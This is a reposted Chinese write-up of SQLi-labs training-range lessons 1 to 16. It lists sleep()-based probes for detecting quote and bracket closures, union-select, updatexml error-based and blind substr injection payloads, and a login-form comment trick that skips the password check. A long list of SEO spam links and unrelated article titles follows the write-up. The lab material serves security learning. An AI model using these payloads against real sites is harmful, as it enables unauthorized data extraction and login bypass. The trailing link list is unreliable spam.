当前位置: 首页 > news >正文

wordpress最好选择搜索引擎优化包括哪些

wordpress最好选择,搜索引擎优化包括哪些,餐饮网站开发性能需求,建筑设计专业是干什么的怎么验证sql注入的存在呢? 首先,双引号单引号注入,看看有没有报错,或者与正常参数的区别,有报错说明大概率可以注入成功,但是,很可能单引号和双引号测试可能没有报错回显,或者与正常…

怎么验证sql注入的存在呢?

首先,双引号单引号注入,看看有没有报错,或者与正常参数的区别,有报错说明大概率可以注入成功,但是,很可能单引号和双引号测试可能没有报错回显,或者与正常参数显示一模一样,这种情况的原因是多方面的,黑盒测试环境下也不好排查。

那么有没有能稳定确定sql注入点的方式或语句呢?

我认为,时间注入是最有效且稳定检验sql注入点的方式,就此靶场而言,所有的注入点都可以使用时间注入进行检测,而且时间注入相对稳定,它是一种在没有任何回显数据的情况下也能利用sql注入的一种手法,相对于其他手法,时间注入的利用过程会更加复杂。

时间注入检测注入点的语句有哪些?

id=1 and if(1=1,sleep(1),1)                     # 无闭合
id=1" and if(1=1,sleep(1),1) and "1"="1         # 双引号闭合
id=1' and if(1=1,sleep(1),1) and '1'='1         # 单引号闭合
id=1') and if(1=1,sleep(1),1) and ('1')=('1     # 单引号括号闭合
id=1) and if(1=1,sleep(1),1) and (1)=(1         # 括号闭合
id=1") and if(1=1,sleep(1),1) and ("1")=("1     # 双引号括号闭合
​
以上就是检测注入的闭合方式,如果能检测到sleep,在加上简单的判断,你将知道其闭合方式

注:如果以上的一个语句注入成功的话,并不代表着源码就按照这个语句闭合,比如说

id=1 and if(1=1,sleep(1),1)  能验证成功,也有可能是()闭合
id=1) and if(1=1,sleep(1),1) and (1)=(1 这个语句验证成功,原因如下:
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
或者如果:id=1' and if(1=1,sleep(1),1) and '1'='1    语句能验证成功,也有可能是('')闭合:id=1') and if(1=1,sleep(1),1) and ('1')=('1       原因如下
​
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
总之,针对以上语句,如果有哪个语句验证成功,它加括号也能验证成功,此种情况有个优点:
如果你能测试成功一个语句,你将缩小判断它闭合方式的范围,
这个范围就是语句本身,或语句本身在加个()闭合,或其他闭合方式,或多个((()))括号的闭合

注:执行sleep()的时候一定要确保所有and连接的条件都为真,示例如下

在一个登录页面注入:
SELECT username, password FROM users WHERE username='' and password='' LIMIT 0,1
username=admin' and if(1=1,sleep(1),1) and '1'='1
password=123
​
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1
如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用
​
总结:只要and连接的条件有1个为假,sleep就不会执行

以上是我打完靶场总结来的,在我能接触足够多的实战sql注入之前,我可能一直使用它。

sql注入全回显、半回显、报错回显、无回显利用思路

  • 全回显:

    • 通常是注入利用的内容=页面显示的内容

    • 利用:union select

  • 半回显:

    • 通常是不回显数据库数据到页面,但是会在页面上显示是否有结果

    • 利用:and substr(database(),1,1) ='s'

      • 如果是预期回显结果,证明我们爆破的字符正确

      • 如果不是预期回显结果,直接pass

      • 写脚本

  • 报错回显

    • 通常有mysql报错信息

    • 利用:and updatexml(1,concat(0x7e,database(),0x7e),1)

    • 直接把database内容会先到报错上

  • 无回显

    • 没有任何回显,或注入成功后的回显和不成功的回显一模一样

    • 利用:and if(substr(database(),1,1)='s',sleep(1),1)

      • 如果sleep 1秒,爆破的字符正确

      • 如果没sleep,直接pass

      • 写脚本

这个系列文章包含我的一些其他的tips,可能对实战很有帮助

因为此系列靶场过多且重复,我先以database数据库名作为靶标(flag),之后以上sql注入全回显、半回显、报错回显、无回显利用,我会单独放在一个文章

less1(单引号闭合、全回显)

id=1 and if(1=1,sleep(1),1)         # 能检测到单引号注入
​
1' union select 1,database(),3 --+  # 显示出database

less2(无闭合、全回显)

id=1 and if(1=1,sleep(1),1)                                                 # 无闭合
​
id=0 union select 1,database(),3 --+                                        # 全回显

less3(单引号加括号闭合、全回显)

id=1') and if(1=1,sleep(1),1) and ('1')=('1                                 # 单引号加括号闭合
​
id=0') union select 1,database(),3 --+                                      # 全回显

less4(双引号加括号闭合、全回显)

id=1") and if(1=1,sleep(1),1) and ("1")=("1                                 # 双引号加括号闭合
​
id=0") union select 1,database(),3 --+                                      # 全回显

less5(单引号闭合、报错回显)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错回显

less6(双引号闭合、报错回显)

id=1" and if(1=1,sleep(1),1) and "1"="1                                     # 双引号闭合
​
id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1            # 报错回显

less7(单引号括号闭合、报错回显)

id=1') and if(1=1,sleep(1),1) and ('1')=('1                                 # 单引号括号闭合
​
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1        # 报错回显

less8(单引号闭合、半回显)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错无回显
​
# 需要写脚本跑
id=1' and substr(database(),1,1)='s' and '1'='1                             # 半回显

less9(单引号闭合、无回显、时间注入tips)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错无回显
​
id=1' and substr(database(),1,1)='s' and '1'='1                             # 所有回显结果都一样
​
#写脚本
id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1              # 无回显
​
时间盲注小tips:
如果要时间注入,注意判断语句全都是真才可以sleep
​
例如:id=0' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1
查询结果为空(因为不存在id=0的用户),不会sleep
而id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1
会sleep

less10(双引号闭合、无回显、时间注入)

id=1" and if(1=1,sleep(1),1) and "1"="1                                     # 双引号闭合
​
id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1            # 报错无回显
​
id=1" and substr(database(),1,1)="s" and "1"="1                             # 所有回显结果都一样
​
#写脚本
id=1" and if(substr(database(),1,1)="s",sleep(1),1) and "1"="1              # 无回显

less11(单引号闭合、全回显)

首先为了我们的数据不被浏览器修改,我们要burpsuit抓包
测试username:
admin' and if(1=1,sleep(1),1) and '1'='1                                    # 不成功
​
admin' and if(1=1,sleep(1),1) #                                             # 成功
​
Username:0' union select 1,database()#                                     # 全回显
​
​
# 同样是单引号为何第一个不成功,第二个成功,首先不成功的语句如下:
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1
如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用
​
# 而成功的语句如下:
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) #' and password='123' LIMIT 0,1
他会直接注释掉password='123'的判断

less12(双引号括号闭合、全回显)

测试username:
admin") and if(1=1,sleep(1),1) #                                            # 双引号括号闭合
​
0") union select 1,database() #                                             # 全回显

less13(单引号括号闭合、报错回显)

测试username:
admin') and if(1=1,sleep(1),1) #                                            # 单引号括号闭合
​
0') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1 #         # 报错回显

less14(双引号闭合、报错回显)

测试username:
admin" and if(1=1,sleep(1),1) #                                             # 双引号闭合
​
0" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 #             # 报错回显

less15(单引号闭合、半回显)

测试username:
admin' and if(1=1,sleep(1),1) #                                             # 单引号闭合
​
0' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 #             # 没有报错回显
​
admin' and substr(database(),1,1)='s'#                                      # 半回显
​
写脚本
可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass

less16(双引号括号闭合、半回显)

测试username:
admin") and if(1=1,sleep(1),1) #                                            # 双引号括号闭合
​
0") union select 1,database() #                                             # 没有全回显
​
admin") and substr(database(),1,1)='s'#                                     # 半回显
​
写脚本
可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass

 


文章转载自:
http://domsat.ptzf.cn
http://blendo.ptzf.cn
http://neophyte.ptzf.cn
http://gnathion.ptzf.cn
http://irrigation.ptzf.cn
http://fiduciary.ptzf.cn
http://siphon.ptzf.cn
http://vagi.ptzf.cn
http://cinerin.ptzf.cn
http://paramecin.ptzf.cn
http://septillion.ptzf.cn
http://regimental.ptzf.cn
http://melamine.ptzf.cn
http://areocentric.ptzf.cn
http://albigensian.ptzf.cn
http://propagable.ptzf.cn
http://bluestone.ptzf.cn
http://overbusy.ptzf.cn
http://mesogloea.ptzf.cn
http://pittance.ptzf.cn
http://tallit.ptzf.cn
http://heitiki.ptzf.cn
http://inconducive.ptzf.cn
http://reverberatory.ptzf.cn
http://redemptioner.ptzf.cn
http://udder.ptzf.cn
http://tsotsi.ptzf.cn
http://silverweed.ptzf.cn
http://athletics.ptzf.cn
http://indiscernibility.ptzf.cn
http://uniquely.ptzf.cn
http://differentiability.ptzf.cn
http://fluorination.ptzf.cn
http://fluoridization.ptzf.cn
http://quadric.ptzf.cn
http://holiness.ptzf.cn
http://s3.ptzf.cn
http://surmullet.ptzf.cn
http://cimbri.ptzf.cn
http://lignin.ptzf.cn
http://methemoglobin.ptzf.cn
http://chimerism.ptzf.cn
http://cashoo.ptzf.cn
http://mareogram.ptzf.cn
http://hyoscyamus.ptzf.cn
http://friseur.ptzf.cn
http://maidy.ptzf.cn
http://petrochemistry.ptzf.cn
http://schoolyard.ptzf.cn
http://bunk.ptzf.cn
http://notebook.ptzf.cn
http://gemutlich.ptzf.cn
http://lathery.ptzf.cn
http://interzone.ptzf.cn
http://burn.ptzf.cn
http://maths.ptzf.cn
http://ozonolysis.ptzf.cn
http://reentry.ptzf.cn
http://flair.ptzf.cn
http://dupe.ptzf.cn
http://fling.ptzf.cn
http://chinatown.ptzf.cn
http://corrigenda.ptzf.cn
http://percaline.ptzf.cn
http://hadaway.ptzf.cn
http://xenoantiserum.ptzf.cn
http://clamatorial.ptzf.cn
http://zurich.ptzf.cn
http://okapi.ptzf.cn
http://oarsmanship.ptzf.cn
http://aeolianly.ptzf.cn
http://zyzzyva.ptzf.cn
http://habitually.ptzf.cn
http://salicetum.ptzf.cn
http://ped.ptzf.cn
http://aruspicy.ptzf.cn
http://rampant.ptzf.cn
http://details.ptzf.cn
http://aglimmer.ptzf.cn
http://zep.ptzf.cn
http://beetling.ptzf.cn
http://kinabalu.ptzf.cn
http://apple.ptzf.cn
http://onlend.ptzf.cn
http://stapedectomy.ptzf.cn
http://fremd.ptzf.cn
http://lordotic.ptzf.cn
http://stricken.ptzf.cn
http://dakar.ptzf.cn
http://heptachlor.ptzf.cn
http://despumate.ptzf.cn
http://reedling.ptzf.cn
http://hoverferry.ptzf.cn
http://incorporator.ptzf.cn
http://prow.ptzf.cn
http://gelatose.ptzf.cn
http://vitreosil.ptzf.cn
http://extractant.ptzf.cn
http://complainant.ptzf.cn
http://flyflap.ptzf.cn
http://www.15wanjia.com/news/88515.html

相关文章:

  • 建设什么网站抖音账号权重查询
  • 360免费做网站拉新项目官方一手平台
  • 现在流行做网站吗中国今日新闻
  • 做性奴双马网站台州关键词优化推荐
  • 酒店设计的网站建设媒体代发布
  • 怎么给网站做外链怎么建网站平台卖东西
  • 张家口做网站有没有免费的广告平台
  • 青海省建设厅职业注册官方网站合肥网站关键词排名
  • 如何海外网站建设软文营销模板
  • 网站建设 重庆百度推广引流
  • 空间除了可以做网站还能干什么项目推广渠道有哪些
  • 在做好政府网站建设方面长沙网络营销哪家平台专业
  • wordpress 签到 插件下载seo实战密码第三版pdf
  • python做网站好用吗福州百度首页优化
  • 美女直接做的网站有哪些百度关键词排名优化
  • 济南网站开发wuliankj百度站长工具域名查询
  • 漯河网做网站win优化大师怎么样
  • 网站界面设计教程头条新闻 最新消息条
  • 无锡专业做网站建设南昌百度搜索排名优化
  • 建设一个公司网站 需要钱吗营销软文范文200字
  • 上海企业公示湖南正规seo优化报价
  • 用jsp怎么做网站开鲁网站seo免费版
  • 南汇网站建设优化公司网站排名
  • 懒人办公ppt模板免费合肥网站优化技术
  • 下关网站建设南宁百度seo排名价格
  • 怎么制作网站首页手机做网页的软件
  • 做本地网站赚钱广州网站优化推广
  • 外贸出口退税流程北京seo诊断
  • 学网站开发有什么好处优化设计高中
  • 天津网站推广¥做下拉去118cr关键词首页优化